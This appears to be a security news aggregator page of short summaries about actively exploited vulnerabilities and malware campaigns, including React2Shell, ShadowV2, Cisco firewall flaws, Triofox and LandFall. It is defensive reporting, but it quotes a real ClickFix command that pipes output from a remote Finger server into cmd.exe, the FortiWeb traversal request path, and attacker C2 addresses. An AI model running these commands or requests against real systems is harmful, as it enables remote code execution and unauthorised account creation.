All news with #exploit detected tag

React2Shell Exploitation Delivers Miners and Backdoors

⚠ Huntress reports widespread exploitation of the maximum-severity React Server Components flaw CVE-2025-55182, with attackers leveraging vulnerable Next.js instances to deploy cryptocurrency miners and multiple novel Linux malware families. Observed payloads include the PeerBlight backdoor, CowTunnel reverse proxy and ZinFoq post-exploitation implant, alongside droppers that fetch XMRig, Sliver C2 and Kaiji variants. Activity since early December 2025 has targeted many sectors — notably construction and entertainment — and shows signs of automated scanning and exploitation tools that sometimes deploy Linux payloads to Windows hosts. Organizations should update react-server-dom-webpack, react-server-dom-parcel and react-server-dom-turbopack immediately and hunt for indicators of compromise.

React2Shell Exploits Deploy EtherRAT, Linked to DPRK

🔐 Security researchers at Sysdig report new campaigns exploiting React2Shell (CVE-2025-55182), resulting in a novel implant that delivers EtherRAT and demonstrates advanced persistence and evasion. The exploit targets React v19 and many related frameworks, using a base64 shell command to fetch a downloader that installs Node.js, decrypts an obfuscated JavaScript dropper, and executes a blockchain-based C2-capable payload. Sysdig observed tooling overlaps with North Korea-associated campaigns, though firm attribution remains unconfirmed.

React2Shell RCE Exploits Observed in the Wild at Scale

⚠️ Patches for the React2Shell vulnerability should be prioritized: researchers report active, largely automated exploitation attempts targeting React Server Components and Next.js. Public proof-of-concept code has been reused by attackers, with initial payloads performing lightweight proof-of-execution checks and staged PowerShell download-and-execute stagers. Vendors including JFrog, Wiz and Greynoise warn of fake PoCs on GitHub, cryptojacking, credential theft attempts, and Mirai-style kit integration, while AWS reports state-linked groups targeting exposed apps — making immediate remediation and verification essential.

Critical King Addons WordPress Plugin Flaw Exploited

⚠️ A critical privilege-escalation vulnerability in the King Addons plugin for Elementor (CVE-2025-8489, CVSS 9.8) is being actively exploited to create administrative accounts. The flaw stems from an insecure handle_register_ajax() implementation that permits unauthenticated users to specify the administrator role during registration via the "/wp-admin/admin-ajax.php" endpoint. A patch is available in version 51.1.35 (released September 25, 2025); administrators should update immediately and audit for unauthorized admin users.

Understanding Zero-Day Attacks: Risks and Defenses

🛡️ Zero-day attacks exploit software vulnerabilities that are unknown to the vendor, enabling attackers to compromise systems before patches are available. They target high-value platforms such as operating systems, web browsers, enterprise applications, and IoT devices, often using spear-phishing or zero-click techniques. Because signature-based tools frequently miss novel exploits, effective defense requires rapid patching, behavior-based detection (EDR, NDR, XDR), network segmentation, and investigative analysis of packet-level data to detect, contain, and learn from incidents.

CISA Warns: State-Backed Spyware Targeting Signal, WhatsApp

🛡️ CISA has warned that cybercriminals and state-backed actors are using spyware to target users of encrypted messaging apps including Signal, WhatsApp, and Telegram. Rather than breaking end-to-end encryption, attackers compromise devices to access messages, files, contacts, call history, and location data. Techniques include fake QR codes that link accounts to attacker-controlled devices, malicious updates, and zero-click exploits that trigger on receipt of a malformed image or file. Users are urged to keep devices and apps updated, avoid installing software from untrusted sources, and treat unexpected messages or files with suspicion.

ShadowV2 Mirai Botnet Tested During AWS Outage Activity

⚠️ Fortinet’s FortiGuard Labs identified a Mirai-based botnet called ShadowV2 that exploited known vulnerabilities in routers and other IoT devices from D-Link, TP-Link, DD-WRT and others during a major AWS outage, appearing active only for the outage window and possibly a test run. The malware is delivered via a downloader (binary.sh) that fetches payloads from 81[.]88[.]18[.]108 and uses XOR-encoded configuration and Mirai-style strings. ShadowV2 supports UDP, TCP and HTTP DDoS floods and receives commands from a C2 at 198[.]199[.]72[.]27. Fortinet published IoCs and emphasizes keeping firmware updated, noting many affected models are end-of-life and will not be patched.

ShadowV2 IoT Botnet Exploits Multiple Device Flaws

⚠️ FortiGuard Labs observed a Mirai-derived botnet named ShadowV2 actively exploiting multiple known IoT firmware vulnerabilities to deliver a downloader and ELF payloads that enable remote takeover and DDoS operations. The activity, detected during a late‑October global AWS connectivity disruption, targeted a wide range of devices including D-Link, TP‑Link, DD‑WRT variants and DVR systems. ShadowV2 decodes a XOR-encoded configuration (key 0x22), contacts a hardcoded C2 (silverpath.shadowstresser.info / 81.88.18.108), and supports UDP, TCP and HTTP flood methods. Fortinet provides AV detections, IPS signatures for the exploited CVEs, and recommends firmware updates, network hardening, and continuous monitoring.

Comet AI Browser's Embedded API Permits Device Access

⚠️ Security firm SquareX disclosed a previously undocumented MCP API inside the AI browser Comet that enables embedded extensions to execute arbitrary commands and launch applications — capabilities mainstream browsers normally block. The API can be triggered covertly from pages such as perplexity.ai, creating an execution channel exploitable via compromised extensions, XSS, MITM, or phishing. SquareX highlights that the analytics and agentic extensions are hidden and cannot be uninstalled, leaving devices exposed by default.

W3 Total Cache Plugin Critical PHP Command Injection

⚠️ A critical unauthenticated command injection (CVE-2025-9501) in the W3 Total Cache WordPress plugin allows attackers to execute arbitrary PHP via a crafted comment that abuses the _parse_dynamic_mfunc() routine. The developer released 2.8.13 on October 20 to address the flaw, but WordPress.org data indicate hundreds of thousands of sites may still be vulnerable. WPScan has produced a proof-of-concept exploit and plans public release on November 24, increasing the immediate risk for unpatched installations.

Decades-Old Finger Protocol Used to Deliver ClickFix Malware

🛡️ Researchers warn the decades-old Finger protocol is being repurposed in ClickFix-style campaigns to fetch remote commands and execute them on Windows systems. Attackers social-engineer victims into running batch commands such as finger root@finger.nateams[.]com | cmd, piping remote output directly into cmd.exe. Observed chains create randomly named folders, copy and rename curl.exe, download a ZIP disguised as a PDF, extract a Python malware package and launch it via pythonw.exe. Blocking outbound TCP port 79 is the primary mitigation to prevent systems from connecting to remote Finger daemons.

RondoDox Exploits XWiki Flaw to Rapidly Expand Botnet

⚠️ RondoDox has been observed exploiting unpatched XWiki instances to weaponize a critical eval injection, CVE-2025-24893, enabling arbitrary remote code execution via the /bin/get/Main/SolrSearch endpoint. The flaw was patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1 in late February 2025, but scanning and exploitation surged in November, including botnet-driven DDoS and cryptocurrency miner deployments. Security vendors noted spikes in activity on November 7 and November 11 and observed RondoDox adding this vector on November 3, 2025. Administrators should apply vendor patches immediately and review logs and network traffic for indicators of compromise.

FortiWeb Path Traversal Flaw Allows Admin Account Creation

⚠️ A path traversal vulnerability in Fortinet FortiWeb appliances is being actively exploited to create local administrative users without authentication. Researchers from Defused and PwnDefend described requests targeting the /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi endpoint that inject admin accounts. Rapid7 and others confirm versions 8.0.1 and earlier are affected, while 8.0.2 is believed to contain the fix. Administrators are urged to update immediately, review logs for fwbcgi access, and search for unexpected admin accounts.

CISA Orders Feds to Patch Actively Exploited Cisco Flaws

🔒 CISA has ordered U.S. federal agencies to fully patch two actively exploited vulnerabilities in Cisco firewall appliances within 24 hours. Tracked as CVE-2025-20362 and CVE-2025-20333, the flaws permit unauthenticated access to restricted URL endpoints and remote code execution; chained together they can yield full device takeover. The agency emphasized applying the latest updates to all ASA and Firepower devices immediately, not just Internet-facing units.

Amazon: Threat Actor Exploited Cisco and Citrix Zero-Days

⚠️ Amazon's threat intelligence team disclosed that it observed an advanced threat actor exploiting two zero-day vulnerabilities in Citrix NetScaler ADC (CVE-2025-5777) and Cisco Identity Services Engine (CVE-2025-20337) to deploy a custom web shell. The backdoor, disguised as an IdentityAuditAction component, operates entirely in memory, uses Java reflection to inject into running threads, and registers a Tomcat listener to monitor HTTP traffic. Amazon observed the activity via its MadPot honeypot, called the actor highly resourced, and noted both flaws were later patched by the vendors.

Attackers Exploit Critical Triofox Flaw for Code Execution

⚠️ Mandiant and Google GTIG observed UNC6485 exploiting a critical improper access control flaw, CVE-2025-12480, in Gladinet Triofox versions prior to 16.7.10368.56560. Attackers spoofed a localhost Host header to reach setup pages, create a native 'Cluster Admin' account and upload payloads. They abused the product's anti‑virus configuration to execute arbitrary scripts as SYSTEM, then deployed remote access tools, escalated privileges and exfiltrated credentials. Users are urged to update, audit admin accounts and hunt for indicators of compromise.

Triofox CVE-2025-12480: Unauthenticated Access Leads to RCE

⚠️ Mandiant Threat Defense observed active exploitation of an unauthenticated access control vulnerability in Gladinet's Triofox (CVE-2025-12480) that allowed attackers to bypass authentication and reach administrative setup pages. By manipulating the HTTP Host header to impersonate localhost, attackers accessed protected admin workflows, created a native admin account, and configured the built-in anti‑virus engine to execute a malicious script as SYSTEM. The chain led to a PowerShell downloader, installation of a legitimate Zoho UEMS agent, and deployment of remote access tools; the vulnerability affected Triofox 16.4.10317.56372 and was mitigated in 16.7.10368.56560. Operators should upgrade immediately, audit admin accounts, and restrict anti‑virus engine paths.

LandFall Spyware Abused Samsung DNG Zero-Day via WhatsApp

🔒 A threat actor exploited a Samsung Android image-processing zero-day, CVE-2025-21042, to deliver a previously unknown spyware called LandFall using malicious DNG images sent over WhatsApp. Researchers link activity back to at least July 23, 2024, and say the campaign targeted select Galaxy models in the Middle East. Unit 42 found a loader and a SELinux policy manipulator in the DNG files that enabled privilege escalation, persistence, and data exfiltration. Users are advised to apply patches promptly, disable automatic media downloads, and enable platform protection features.

Cisco Firewall Zero-Days Now Triggering DoS Reboots

⚠️ Cisco warned that two recently patched firewall vulnerabilities (CVE-2025-20362 and CVE-2025-20333) — previously leveraged in zero-day intrusions — are now being abused to force ASA and FTD devices into unexpected reboot loops, causing denial-of-service. The vendor issued updates on September 25 and strongly urged customers to apply fixes immediately. CISA issued an emergency 24-hour directive for U.S. federal agencies and ordered EoS ASA devices to be disconnected. Shadowserver still reports tens of thousands of internet-exposed, unpatched devices.

Cisco Warns of Firewall Attack Causing DoS; Urges Patch

⚠️ Cisco disclosed a new attack variant that targets devices running Cisco Secure Firewall ASA and FTD software that are vulnerable to CVE-2025-20333 and CVE-2025-20362. The exploit can cause unpatched devices to unexpectedly reload, creating denial-of-service conditions, and follows prior zero-day campaigns that delivered malware such as RayInitiator and LINE VIPER, per the U.K. NCSC. Cisco additionally released patches for critical Unified CCX flaws and a high-severity DoS bug in ISE, and urges customers to apply updates immediately.